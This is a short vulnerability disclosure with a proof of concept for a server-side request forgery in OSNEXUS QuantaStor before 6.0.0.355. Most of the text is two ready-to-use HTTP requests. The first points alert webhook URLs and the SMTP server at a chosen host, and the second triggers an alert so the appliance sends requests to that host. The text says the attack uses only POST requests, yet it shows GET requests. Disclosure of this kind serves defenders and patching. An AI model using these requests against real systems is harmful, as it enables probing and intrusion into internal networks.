SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.

POC

Step 1: Prepare the SSRF with a request like this:

GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>

Connection: close

authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json

Step 2: Trigger this alert with this request

GET /qstorapi/alertRaise?title=test&message=test&severity=1
HTTP/1.1

Host: <HOSTNAME>
